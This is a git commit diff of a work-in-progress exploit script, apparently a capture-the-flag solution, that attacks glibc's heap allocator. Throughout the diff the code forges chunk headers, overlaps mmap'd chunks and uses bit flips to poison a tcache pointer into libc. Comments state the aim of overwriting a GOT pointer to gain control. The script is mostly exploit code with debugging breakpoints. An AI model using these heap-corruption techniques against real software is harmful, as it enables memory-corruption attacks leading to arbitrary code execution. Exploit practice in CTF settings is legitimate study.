commit 5427cf2925151b678e46e5d2e74c634c109bd11f
parent 3c435dfcc5fe5e96aac49b5bf73bd5be87fcb7ef
Author: Louis Burda <quent.burda@gmail.com>
Date: Sat, 27 Apr 2024 02:55:30 +0200
Dont look at this
Diffstat:
M | solve/solve | | | 347 | +++++++++++-------------------------------------------------------------------- |
1 file changed, 46 insertions(+), 301 deletions(-)
diff --git a/solve/solve b/solve/solve
@@ -91,330 +91,75 @@ mmap_size_4 = 0x78 * 2 ** 14 + pgsize
tcache_size = 0x78 * 2**3 + 0x10
gdb = 'gdb -ex "set debug-file-directory $PWD/debug" -ex "dir glibc" -ex "set debuginfod enabled on"' \
- + ' -ex "target remote localhost:1025" -ex "b main" -ex "continue"'
+ + ' -ex "target remote localhost:1025" -ex "b main" -ex "b exit" -ex "continue"'
run_in_new_terminal(["sh", "-c", f'sleep 1; sudo -E {gdb}'], kill_at_exit=False)
-# Prepare some low indexes for later.
-chain_head = alloc(cc() * adj(small_size))
-overlap1 = alloc(cc() * adj(small_size))
-overlap2 = alloc(cc() * adj(small_size))
-fake = alloc(cc() * adj(small_size))
-
-# Use chain of small mmap'd chunks to manage memory while avoiding
-# increasing mmap_threshold by not free'ing large chunks directly,
-# but freeing small chunks (2 * mmap_size_1) in a cascaded chain.
-
-chain_len = 10
-chain = [alloc(cc() * mmap_adj(mmap_size_1)) for _ in range(chain_len)][::-1]
-
-free(chain[0])
-free(chain_head)
-link_payload = flat({ mmap_size_1 - 8: p64(mmap_size_3^0b010) }, mmap_adj(mmap_size_3))
-chain_head = alloc(link_payload)
-
-def clear():
- edit(chain_head, link_payload)
- prev = chain_head
- for i in range(chain_len):
- free(prev)
- prev = grid[i] = alloc(link_payload)
- global grid
-
-
-
-clear()
-
-embed()
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+dup = alloc(cc() * adj(small_size))
+back = alloc(cc() * adj(small_size))
+past = alloc(cc() * adj(small_size))
+target = alloc(cc() * adj(small_size))
+later = alloc(cc() * adj(tcache_size))
+head = alloc(cc() * mmap_adj(mmap_size_1))
+front = alloc(cc() * mmap_adj(mmap_size_1))
+grid = [alloc(cc() * mmap_adj(mmap_size_1)) for _ in range(3)][::-1]
embed()
-
-# Setup grid.
-grid_size = mmap_size_1
-grid = [alloc(cc() * mmap_adj(grid_size)) for _ in range(6)][::-1]
+free(grid[0])
+free(dup)
+assert(dup == alloc(cc() * mmap_adj(mmap_size_1)))
list(map(free, grid))
-def fixup(addr, start, value):
- global grid, overlap1, overlap2
- assert(addr > start - mmap_size_3)
- offset = addr - start - mmap_size_3
- free(overlap1)
- assert(overlap1 == alloc(flat({ offset: value }, mmap_size_3)))
- free(overlap1)
- overlap1 = alloc(cc() * adj(small_size))
-
-adjust = 0x5000
-
-fixup(-grid_size-8, 0, p64(adjust^0b010))
-
-free(grid[-1])
-left = grid_size - adjust
-
-free(fake)
-fake = alloc(mmap_size_3)
-free(fake)
-fixup(-mmap_size_3-left-8, -left, p64(tcache_size^0b001))
-
-def make_fake(target, offset, size):
- global grid, overlap1, overlap2
-
- grid_left = offset // grid_size
- list(map(free, grid[-grid_left:]))
-
- offset_1 = grid_size - (offset % grid_size)
- if grid_left % grid_size != 0:
- free(overlap1)
- assert(overlap1 == alloc(flat({
- mmap_size_3 - grid_size - 8: p64(offset_1^0b010)
- }, mmap_adj(mmap_size_3))))
- free(overlap1)
- overlap1 = alloc(cc() * adj(small_size))
- grid[-grid_left-1]
-
- free(target)
- assert(target == alloc(flat({
-
- }, mmap_adj(mmap_size_3))))
-
- free(overlap2)
- #offset_2 = offset_1 + mmap_size_3
- #overlap2 = alloc(flat({
- # grid_size offset_2
- #}, mmap_adj(mmap_size_1)))
-
- return target
-
-fake = make_fake(fake, 0x5000, mmap_size_3)
-free(fake)
-
-overlap_size = mmap_size_3
-overlap_left = grid_size - adjust % grid_size
-free(overlap1)
-overlap1 = alloc(flat({
- overlap_size - grid_size - 16: p64(0),
- overlap_size - grid_size - 8: p64(overlap_left)
-}, overlap_size))
-
-free(overlap2)
-overlap2 = alloc(flat({
- grid_size - (overlap_size % grid_size) - 8: p64(overlap_size - overlap_left)
-}, grid_size))
-
-free(grid[(adjust//grid_size)-1]) # free overlap_left
-free(overlap2) # free overlap
-
-embed()
-
-# Alloc large chunk to overlap freed filler chunks.
-#chunk = next((i, size) for (a, (i, size)) in mem.items() if a
-overlap_size = mmap_size_3
-
-fill_tail = overlap_size - fill2[2] * grid_size
-free(overlap)
-overlap_map = {
- fill_tail-16: p64(0),
- fill_tail-8: p64(len(fill2))
-}
-for i in range(len(fill2)):
- offset = overlap_size - (i+1) * grid_size
- size = len(fill1) * grid_size + adjust if i == 0 else fill_size
- if offset-16 >= 0: overlap_map[offset-16] = p64(0)
- if offset-8 >= 0: overlap_map[offset-8] = p64(size^0b010)
-assert(overlap == alloc(flat(overlap_map, mmap_adj(overlap_size))))
-
-# Free fillers to make space for fake chunk, fill2[0] adjusts the address.
-list(map(free, fill2))
-
-# Allocate another block to overlap with adjusted chunk.
-free(fake)
-fake_size = mmap_size_3
-guard_offset = fake_size - adjust
-assert(fake == alloc(flat({
- guard_offset-8: p64(tcache_size^0b001)
-}, mmap_adj(front2_size))))
-
-embed()
-
-# Free fake chunk into tcache.
-free(guard)
-
-# Free other chunk into same tcache.
-free(head)
-
-
-embed()
-
-padding_size = mmap_size_1
-head_size = mmap_size_1
-back_size = mmap_size_1
-
-flip_size = 0x40000
-assert(flip_size & back_size == 0)
-
-back_new_size = mmap_size_3
-assert(back_new_size > back_size ^ flip_size)
-front_adjust = 0x5000
-front_new_size = mmap_size_3
-head_free_size = front_new_size - front_size + front_adjust
-assert(front_new_size > back_size ^ flip_size)
-
-front_offset = back_new_size - flip_size
-assert(front_offset > 0 and front_offset <= mmap_adj(back_new_size)-8)
-
-head_offset = front_offset + front_size
-assert(head_offset > 0 and head_offset <= mmap_adj(back_new_size)-8)
-
-front_new_offset = front_offset + front_adjust
-assert(front_new_offset > 0 and front_new_offset <= mmap_adj(back_new_size)-8)
-
-
-
-# Prepare a tcache-able chunk for later.
-top = alloc(cc() * adj(tcache_size))
-
-# Get some buffer space.
-padding = [alloc(cc() * mmap_adj(mmap_size_1)) for _ in range(6)]
-
-# Create front and back chunks with one in between for padding.
-head = alloc(cc() * mmap_adj(head_size))
-front = alloc(cc() * mmap_adj(front_size))
-back = alloc(cc() * mmap_adj(back_size))
-
-# Flip back chunk size to overlap with front.
-flipv(back, -8, flip_size)
-
-# Free the back chunk with fake size. This unmaps the front chunk as well.
-# It also adjusts the internal mmap_threshold to back_size ^ flip_size.
-free(back)
-
-# Realloc back chunk with content to overwrite both front and head chunk headers.
-# We use this to control the size of the head chunk, and with it the number of
-# pages that are unmapped on free => the position of front chunk after realloc.
-# This is important to setup the bit flip into libc.
-back = alloc(flat({
- front_offset-16: p64(0),
- front_offset-8: p64(front_size^0b010),
- head_offset-16: p64(0),
- head_offset-8: p64(head_free_size^0b010),
-}, mmap_adj(back_new_size)))
-
-# Free head and front chunk.
-free(head)
free(front)
-# Reallocate front chunk to move pointer it forward into freed space.
-front = alloc(cc() * mmap_adj(front_new_size))
-free(front)
+adjust = 0x5000
-# Realloc back a bit behind front to overwrite again.
free(back)
-_ = alloc(cc() * mmap_adj(mmap_size_1))
-
-# Overwrite front header again, now pretending it is a non-mmaped tcache-able chunk.
-back = alloc(flat({
- mmap_size_1-8: p64(tcache_size^0b001)
-}, mmap_adj(back_new_size)))
-
-embed()
-
-# WOW: can actually do this with just double-free..
-# We just free and reallocate bigger. Howw did this take so long to get.
-
-# Free front chunk into tcache.
-free(front)
-
-# Free another chunk into same tcache.
-free(top)
-
-# Now the fd pointer of 'top' chunk is the fake chunk near libc.
-# We use our second bit flip to make it point into libc.
-flipv(top, 0, 0x400000)
-
-# Pop top chunk from bin.
-top = alloc(cc() * adj(tcache_size))
-
-# Allocate the buffer in libc.
-libc = alloc(cc() * adj(tcache_size))
-
-# use edit to fixup the data
-
-# call function and win
+back_map = {
+ mmap_size_3 - mmap_size_1 - 16: p64(0),
+ mmap_size_3 - mmap_size_1 - 8: p64(adjust^0b010)
+}
+index = len(grid)-1
+offset = mmap_size_1
+while True:
+ offset += mmap_size_1
+ if offset >= mmap_size_3:
+ break
+ back_map[mmap_size_3 - offset - 16] = p64(0)
+ back_map[mmap_size_3 - offset - 8] = p64(mmap_size_1^0b010)
+ index -= 1
+assert(index == 0)
-# NOTE: glibc2.35 has fastbin upto 0xa0!
+back = alloc(flat(back_map, mmap_adj(mmap_size_3)))
-# should link the bin into unsorted/small bin free list,
-# which puts a libc pointer into the freed chunk
+free(front) # adjust
+for i in range(1, len(grid)):
+ free(grid[i])
-# NOTE: get_delim will alloc in powers of 2 starting at 0x80
+free(target)
+target = alloc(cc() * mmap_adj(mmap_size_3))
-#rm(index)
+free(past)
+past = alloc(cc() * mmap_adj(mmap_size_3))
-# allocate small chunk to tcache..
-#index = alloc(cc() * (0x70-2))
+# equivalent to grid 0
+edit(dup, flat({
+ mmap_size_1 - (mmap_size_3 % mmap_size_1) - 8: p64(tcache_size^0b001)
+}, mmap_adj(mmap_size_1)))
-# remove it to link into free list and get pointer
-#rm(index)
+free(target)
-# goal is to control the pointer returned by malloc so we can
-# write into libc and modify a pointer in the got
+free(later)
-# we can either use the tcache list or
+embed()
-io.interactive()
+flip(later, 0, 0x400000)
-#flip(0, -8, 1)
-#flip(0, -8 + 2, 2)
-#flip(0, -8 + 2, 1)
+assert(later == alloc(adj(tcache_size)))
+assert(target == alloc(adj(tcache_size)))
+embed()